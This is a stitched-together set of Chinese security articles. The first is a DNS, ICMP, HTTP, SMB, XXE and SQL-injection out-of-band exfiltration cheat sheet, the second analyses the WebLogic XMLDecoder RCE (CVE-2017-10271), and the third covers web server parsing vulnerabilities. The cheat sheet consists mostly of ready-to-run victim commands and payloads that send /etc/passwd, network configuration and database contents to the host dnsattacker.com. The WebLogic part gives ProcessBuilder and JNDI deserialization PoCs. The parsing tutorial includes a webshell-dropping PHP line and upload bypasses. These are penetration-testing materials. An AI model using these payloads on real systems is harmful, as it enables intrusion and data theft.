echo “encoded output” |base64 -d # 使用base64解码输出
使用多行和大文件发送输出结果
受害主机：
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # 以十六进制格式发送文件
攻击者：
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出：
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
限制条件：需要使用powershell
Unix
受害主机：
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done # 以十六进制发送文件
攻击者：
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出：
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
与十六进制编码比较，base64编码的文件更小。
受害主机：
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# 以base64编码发送文件
攻击者：
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d # 提取输出
**ICMP**
Windows
受害主机：
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);
攻击者：
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap #To capture
提取数据
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #或者使用wireshark gui
限制条件：需要powershell
Unix
受害主机：
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don
攻击者：
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
提取数据：
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p #或者使用wireshark gui
**HTTP**
Windows
受害主机：
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
注意：如果powershell不可用，请使用“mshta !Final!”
攻击者：
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
Unix
受害主机：
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
攻击者：
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
同样地，我们也可以使用下面的命令：
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com# extract data in post section
wget –post-file trophy.php http://dnsattacker.com # extract source code
cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt
**SMB(使用responder窃取哈希)**
Windows
受害主机：
net use h: \\dnsattacker.com\web
攻击者：
sudo ./Responder.py -I eth0#运行responder来捕获哈希值
同样，我们可以使用：
net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt
**XXE:OOB**
检测
可以通过向攻击者域(即
oob.dnsattacker.com)发起DNS请求来确认XXE漏洞。关于XXE漏洞，[这里](https://pentesterlab.com/exercises/play_xxe
"这里")有一个不错的靶机。
受害主机：
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>
攻击者：
sudo tcpdump -n udp port 53
限制条件：在写这篇文章时，DNS查询只能用来检测XXE漏洞。
漏洞利用和数据提取
HTTP
攻击者：运行python HTTP 服务器来存放dtd文件，命令如下
python -m SimpleHttpServer 9000
受害主机：
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd文件内容如下：
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
注意：对于受害主机是Windows系统的，请使用下面这个dtd文件：
windwos.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">
**FTP**
攻击者：运行python
HTTP服务器存放dtd文件并运行xxeftp服务器(请参考[这里](https://gist.github.com/staaldraad/280f167f5cb49a80b4a3
"这里"))
python -m SimpleHttpServer 9000
python xxeftp.py
受害主机
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
linux.dtd文件内容如下：
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
注意：Windows受害主机请使用下面的dtd文件
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
SMB(窃取哈希)
攻击者：运行responder来获取哈希
sudo ./Responder.py -I eth0
受害主机：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]>
<foo>&xxe;</foo>
注意：出于演示目的，我们将使用CVE2018-0878:Windows远程协助XXE漏洞。
同样，你可以使用其他的payload来提取数据
http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data%
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\\C$\\1.txt
**SQL注入**
注意：所有数据库服务器都安装在Windows主机上。有关SQL注入备忘录请点击[这里](http://pentestmonkey.net/category/cheat-sheet/sql-injection "这里")和[这里](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ "这里")。
**检测**
DNS
攻击者：使用wireshark/tcpdump指定53端口来观察响应。
sudo tcpdump -n port 53
**Oracle**
检测
受害主机
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
注意：使用这个技术，需要更高的权限来调用上述的函数。
漏洞利用和提取数据
受害主机：
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual; /* Extracting Oracle database version */
我们也可以使用下面这个payload
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual; /*Extracting Current user in Oracle database */
如果你使用的Oracle数据库版本是10G，甚至是更低的版本，你可以使用这下面几个替代方法来发起DNS请求：
UTL_INADDR.GET_HOST_ADDRESS,
UTL_HTTP.REQUEST,
HTTP_URITYPE.GETCLOB,
DBMS_LDAP.INIT and UTL_TCP
**MSSQL**
检测
受害主机
EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –
漏洞利用和数据提取
受害主机
DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');
限制条件：如果要利用这个技术，数据库需要是sysadmin权限
其他发起DNS请求的方法有：xp_fileexists, xp_subdirs, xp_getfiledetails, sp_add_jobstep
**MYSQL**
检测
受害主机
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));
漏洞利用和数据提取
受害主机
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));
限制条件：要使用这个技术，数据库需要有select update和file权限。
**Postgresql**
检测
受害主机
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');
限制条件：用户必须要有superuser权限来执行CREATE EXTENSION查询。
漏洞利用和数据提取
受害主机
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '), 'UTF8'),'hex'));
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
限制条件：用户必须要有superuser权限来执行这个命令
**使用DNS进行数据提取的限制**
域名最多只能包含127个子域。
每个子域最多只能包含63个字符
完整域名的最大长度为253个字符
由于DNS记录缓存，会为每个请求的URL添加一个唯一值
DNS是明文通道，任何通过DNS提取的数据都是明文形式，可被中间节点和DNS服务器缓存使用，因此不建议使用DNS通道来提取敏感数据。
参考
<https://github.com/beefproject/beef/wiki/Installation>
<https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/>
<https://www.youtube.com/watch?v=COVtU5G0Iys>
<https://github.com/Arno0x/DNSExfiltrator>
<https://blog.zsec.uk/out-of-band-xxe-2/>
<https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1>
<https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1>
<https://ss64.com/nt/certutil.html>
<https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/>
<https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/>
<https://www.aldeid.com/wiki/File-transfer-via-DNS>
<https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/> | 社区文章 |
作者：[廖新喜](http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
"廖新喜")
挖矿确实太火，现在只要存在RCE漏洞就会有矿机的身影，这不weblogic又火了一把。这次矿机使用的PoC是wls
wsat模块的RCE漏洞，这个漏洞的核心就是XMLDecoder的反序列化漏洞，关于XMLDecoder反序列化的漏洞在2013年就被广泛传播，这次的漏洞是由于官方修复不完善导致被绕过。
#### 1 补丁分析
首先来看下weblogic的历史补丁，四月份补丁通告：<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>
这里面主要关注CVE-2017-3506，这是web service模块的漏洞。
10月份补丁通告：<https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html>
主要关注CVE-2017-10271，是WLS Security组建的漏洞，英文描述如下：
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security
component to gain elevated privileges [CVE-2017-10271].这是CVE-2017-10271的描述信息。
测试的poc如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
。。。。
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
对于poc中uri中`/wls-wsat/CoordinatorPortType` 可以换成CoordinatorPortType11等wsat
这个webservice服务中存在的其他uri
执行的效果图如下：
跟踪到底这还是XMLDecoder的漏洞，下面来分析补丁代码：首先来看3506的补丁的分析，在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中，添加了validate方法，方法的实现如下：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
简单来说就是在解析xml的过程中，如果Element字段值为Object就抛出异常，这简直太脑残了，所以马上就有了CVE-2017-10271。我前段时间分析Oracle
Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter
相关代码时只关注了这块dos的漏洞，没看到10271添加的对new，method，void的去除，还想当然的以为自己找到0day了呢。因为可以通过其他方式绕过，比如典型的就是将object改为void，这是挖矿的人采用的poc，我也想到了，当然也还可以通过new关键字来创建反序列化执行的poc，下面简单示例一下通过new关键字来执行命令：
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
至于为什么XMLDecoder在解析的过程中能执行代码呢，大家可以以如下测试用例进行测试：
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
是不是觉得变种太多，写法太灵活了，比XStream远程执行代码的要求还低。根据如上poc首先生成JdbcRowSetImpl的实例，接着调用该实例的set方法来初始化该实例的属性，当调用完setAutoCommit接口的时候就会根据dataSourceName的值去远程加载一个类初始化。
针对上面的PoC，官方放出了10271的补丁，补丁如下：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。如下的测试用例就不可执行：
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start" />
</new>
</java>
#### 2 动态调试
为了更好的理解这个漏洞，我们通过本地的weblogic动态调试一番，PoC还是前面提到的，具体的调用栈如下：
调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法。
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
在上述代码中ByteArrayOutputStream var4会被填充为PoC实际执行部分代码即：
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
。。。
<void method="start"/></void>
</java>
接着这部分xml会被传递到XMLDecoder的readObject方法中从而导致反序列化远程代码执行。
总之，尽快打上Weblogic 10月份的补丁。
* * * | 社区文章 |
# 浅谈解析漏洞的利用与防范
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
经常听说过解析漏洞，这次来一探究竟。
## 0x01 解析漏洞简介
**1、文件解析漏洞概述**
文件解析漏洞,是指Web容器（Apache、Nginx、IIS等）在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。
**2、web容器是什么**
web容器是一种服务程序，在服务器一个端口就有一个提供相应服务的程序，而这个程序就是处理从客户端发出的请求，如tomcat、apache、nginx等。(可以理解为编程语言提供环境)
**中间件** ：提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
**容器**
：给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互，不必关注其他系统问题。
**攻击者在利用上传漏洞时，通常会与Web容器的解析漏洞配合在一起**
## 0x02 Apache
**测试环境**
docker容器：kstaken/apache2
在docker里安装php：`apt-get update && apt-get install php5`
靶场：DoraBox靶场
修改站点根目录：`vim /etc/apache2/sites-enabled/000-default`
### 1、多后缀
**漏洞描述** ：
在Apache 2.0.x <= 2.0.59，Apache 2.2.x <= 2.2.17，Apache 2.2.2 <= 2.2.8中Apache
解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
所以可上传一个`test.php.qwzf`文件绕过验证且服务器依然会将其解析为php。
Apache 能够识别的文件在`mime.types`文件里。
**影响版本** ：
Apache 2.0.x <= 2.0.59
Apache 2.2.x <= 2.2.17
Apache 2.2.2 <= 2.2.8
**开始测试** ：
1.查看Apache版本：
apachectl -v
#或httpd -v(测试未显示Apache版本)
平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。
2.在DoraBox的任意文件靶场进行测试
上传的文件名：test.php.qwzf
上传的文件内容
<?php phpinfo(); ?>
上传成功，访问看一下
成功解析成php文件。
**修复方法** ：
后缀验证尽量使用白名单的方式，这样即使使用不存在的后缀名，也无法绕过。
### 2、Apache配置问题
1.如果在Apache的 `/etc/apache2/apache2.conf`里有这样的配置
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是`qwzf.jpg`，会以php 来执行。
2.如果在Apache的 conf 里有这样一行配置`AddHandler php5-script .php` 这时只要文件名里包含`.php`
即使文件名是`qwzf.php.jpg`也会以php 来执行。
3.如果在 Apache 的 conf 里有这样一行配置`AddType application/x-httpd-php .jpg`
即使扩展名是`.jpg`，也会以php来执行。
Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——`.htaccess`(分布式配置文件)
将Apache的`/etc/apache2/sites-available/default`里`AllowOverride
None`改为`AllowOverride All`
AllowOverride All
开启rewrite_mod
a2enmod rewrite
这样`.htaccess`文件就会生效。
**开始测试** ：
1.上传一个`.htaccess`文件，文件内容如下：
方法1：
<FilesMatch "qwzf.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
方法2：
AddHandler php5-script .php
方法3：
AddType application/x-httpd-php .jpg
2.然后上传文件名为
方法1和方法3：qwzf.jpg
方法2和方法3：qwzf.php.jpg
文件内容为：`<?php phpinfo(); ?>`
**修复方法** ：
1.apache配置文件，禁止`.php.`这样的文件执行，配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.关闭重写
a2dismod rewrite
### 3、罕见后缀
Apache配置文件中会有`.+.ph(p[345]?|t|tml)`此类的正则表达式，被当php程序执行的文件名要符合正则表达式。也就是说php3，php4，php5，pht，phtml等文件后缀也是可以被当作php文件进行解析的。
上传一个查看phpinfo信息的`qwzf.php3`文件，访问
发现`qwzf.php3`文件被当作php文件进行解析。
### 4、后缀包含换行符\x0A(CVE-2017-15715)
phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715
**漏洞描述** ：
上传一个后缀末尾包含换行符的文件，来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即：
> 1.php\x0a => 1.php
>
>
> apache通过mod_php来运行脚本，其2.4.0-2.4.29中存在apache换行解析漏洞，在解析php时xxx.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞，与具体中间件版本无关。
**影响版本** ：
Apache 2.4.0-2.4.29
**测试环境** ：
1.环境一：
用docker拉取一个名为`vulhub/php:5.5-apache`的镜像(Apache版本2.4.0~2.4.29之间)
使用下面命令启动容器：
docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache
进入容器并查看Apache版本
docker exec -it cve-2017-15715 /bin/bash
apachectl -v
将下面 **测试代码** 目录映射到容器内的/var/www/html目录下，设置好写权限，即可开始测试。
2.环境二：
当然，如果感觉自己搭环境比较麻烦，可以使用vulhub靶场的`CVE-2017-15715`环境。
环境位置：`vulhub/httpd/CVE-2017-15715`
**测试代码** ：
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
file:<input type="file" name="file"><br />
filename:<input type="text" name="name" value="qwzf.php">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
**开始测试** ：
1.正常上传php文件，被拦截
2.上传`test.php.qwzf`，上传成功，但不解析，说明老的多后缀Apache解析漏洞不存在。
3.利用CVE-2017-15715，上传一个包含换行符的文件
> 注：只能是\x0A，不能是\x0D\x0A
上传`qwzf.php`文件，filename设置为`qwzf.php`
使用burp抓包，选择burp的Hex功能，在`qwzf.php`后面添加一个`\x0A`
发包，上传成功。然后访问`qwzf.php%0A`，发现可以成功解析php文件
Nginx是一款高性能的WEB服务器，通常用来作为PHP的解析容器。
## 0x03 Nginx
### 1、Nginx PHP CGI 解析漏洞(fix_pathinfo)
**漏洞描述** ：
查看nginx的配置文件
`vim /etc/nginx/conf.d/default.conf`
（1）Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问`http://x.x.x.x/phpinfo.jpg/1.php`这个URL时，`$fastcgi_script_name`会被设置为`phpinfo.jpg/1.php`，然后构造成SCRIPT_FILENAME传递给PHP
CGI。
（2）但PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?
这就涉及到`fix_pathinfo`选项了。如果PHP中开启了fix_pathinfo这个选项，PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了。
简单来说，由于Nginx的特性，只要URL中路径名以`.php`结尾，不管该文件是否存在，直接交给php处理。
> 注：新版本php引入了security.limit_extensions，限制了可执行文件的后缀，默认只允许执行.php文件
> 使得该漏洞难以被成功利用
_相关知识_ ：
（1）通过phpinfo查看`cgi.fix_pathinfo=1`，PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量`$_SERVER[‘PATH_INFO’]`获取，而配置文件中的`cgi.fix_pathinifo`选项则与这个值的获取相关。
（2）在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的，当URL中有不存在的文件，PHP就会向前递归解析。
**影响版本** ：
漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞
**漏洞形式** ：
> /1.jpg/1.php
> /1.jpg/.php
> /1.jpg%00.php
> /1.jpg/%20\0.php
还有一种方法是：上传一个名字为qwzf.jpg，文件内容如下：
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>
然后访问`qwzf.jpg/.php`,在当前目录下就会生成一句话木马shell.php
**测试环境** ：
1.环境一：
vulhub靶场的漏洞环境
环境位置：`vulhub/nginx/nginx_parsing_vulnerability`
nginx版本：`nginx/1.19.2`
2.环境二：
使用phpstudy测试，默认配置即可(默认的cgi.fix_pathinfo是注释状态，但默认值确为1)
nginx版本：`nginx/1.11.5`
**开始测试** ：
使用环境一的vulhub靶场对应的环境
上传一个jpg文件，文件名为`phpinfo.jpg`，文件内容为(或者上传图片马)：
GIF89a
<?php phpinfo(); ?>
上传成功，访问一下
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20\0.php
发现除了%00截断外，均以php的形式解析，显示phpinfo信息
%00截断不能成功，原因应该是PHP的版本问题。%00截断使用条件：php 版本<5.3.4
**修复方法** ：
1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0(慎用);
若实在将cgi.fix_pathinfo的值设置为0，就将php-fpm.conf中的`security.limit_extensions`后面的值设置为`.php`
2.在Nginx配置文件中添加以下代码：
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
代码的意思：当匹配到类似test.jpg/a.php的URL时，将返回403错误代码。
3.使用Apache服务器的，在相应目录下放一个 .htaccess 文件，内容为：
<FilesMatch "(?i:\.php)$">
Deny from all
</FilesMatch>
4.不提供上传的原文件访问，对文件输出经过程序处理。
5.图片单独放一个服务器上，与业务代码数据进行隔离。
### 2、空字节代码执行漏洞
**漏洞描述** ：
Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
**影响版本** :
Nginx 0.5.x
Nginx 0.6.x
Nginx 0.7-0.7.65
Nginx 0.8-0.8.37
**测试环境** ：
[nginx官网](https://nginx.org/en/download.html)
由于环境比较旧，不太容易搭建，这里只阐述一下大致过程：
1.上传一个qwzf.jpg图片文件
2.访问`http://x.x.x.x/qwzf.jpg％00.php`
3.就会将qwzf.jpg作为PHP文件进行解析
**修复方法** ：
1.升级nginx
2.禁止在上传文件目录下执行php文件
3.在nginx配置或者fcgi.conf配置添加下面内容：
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403;
}
#### 3、nginx文件名逻辑漏洞(CVE-2013-4547)
**漏洞描述** ：
1.漏洞产生原因：
错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
2.漏洞原理：
Nginx匹配到`.php`结尾的请求，就发送给fastcgi进行解析，常见写法：
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
（1）在关闭fix_pathinfo的情况下(即`cgi.fix_pathinfo=0`)，只有.php后缀的文件才会被发送给fastcgi解析
（2）存在CVE-2013-4547时，请求`qwzf.jpg[0x20][0x00].php`，这个URI可匹配到正则`\.php$`，进入到Location块；
（3）进入后，Nginx错误地认为请求的文件是`qwzf.jpg[0x20]`，然后设置其为SCRIPT_FILENAME的值发送给fastcgi。
（4）fastcgi根据SCRIPT_FILENAME的值，将`qwzf.jpg[0x20]`以php文件的形式进行解析，从而造成了解析漏洞。
也就是说，我们只需要上传一个空格结尾的文件，即可用PHP进行解析。
**影响版本** :
Nginx 0.8.41-1.4.3
Nginx 1.5 -1.5.7
**测试环境** ：
vulhub靶场的漏洞环境
环境位置：`vulhub/nginx/CVE-2013-4547`
nginx版本：`nginx/1.4.2`
**开始测试** ：
上传一个jpg文件，文件名为`qwzf.jpg`，文件内容为(或者上传图片马)：
GIF89a
<?php phpinfo(); ?>
使用burp添加空格
发包，成功上传文件
访问`/uploadfiles/qwzf.jpg/.php`，burp抓包，添加两个空格
使用burp的hex功能，将第二个空格的0x20改为0x00
发包，成功解析。
## 0x04 IIS
IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。
### 1、IIS 5.x和IIS 6.x解析漏洞
使用iis5.x-6.x版本的服务器，大多为windows server
2003，网站比较古老，开发语言一般为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。
**测试环境** ：
因为找不到相关环境，并且不想搭建，所以这里只阐述相关原理和相关知识。
**1.目录解析(6.0)**
**形式** ：`http://www.xxx.com/xx.asp/xx.jpg`
**原理** : 服务器默认会把`.asp`，`.asa`目录下的文件都解析成asp文件。
**2.文件解析(6.0)**
**形式** ：`http://www.xxx.com/xx.asp;.jpg`
**原理** ：服务器默认不解析`;`号后面的内容，因此`xx.asp;.jpg`便被解析成asp文件。
**3.解析文件类型(默认解析后缀)**
